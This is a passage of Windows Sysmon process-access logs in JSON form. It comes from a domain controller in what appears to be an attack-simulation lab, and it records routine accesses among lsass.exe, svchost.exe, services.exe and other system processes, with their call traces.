\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1125,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.328\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.328","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1126,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.328\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.328","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1127,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.328\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.328","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1128,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.328\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.328","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1129,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.328\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD1-5F2D-0000-0010EB030000}\r\nTargetProcessId: 4\r\nTargetImage: System\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.328","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD1-5F2D-0000-0010EB030000}","TargetProcessId":"4","TargetImage":"System","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1130,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.328\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD1-5F2D-0000-0010EB030000}\r\nTargetProcessId: 4\r\nTargetImage: System\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.328","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD1-5F2D-0000-0010EB030000}","TargetProcessId":"4","TargetImage":"System","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1131,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.328\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00103B0F0200}\r\nTargetProcessId: 2700\r\nTargetImage: C:\\Windows\\System32\\ismserv.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.328","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00103B0F0200}","TargetProcessId":"2700","TargetImage":"C:\\Windows\\System32\\ismserv.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1132,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.328\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00103B0F0200}\r\nTargetProcessId: 2700\r\nTargetImage: C:\\Windows\\System32\\ismserv.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 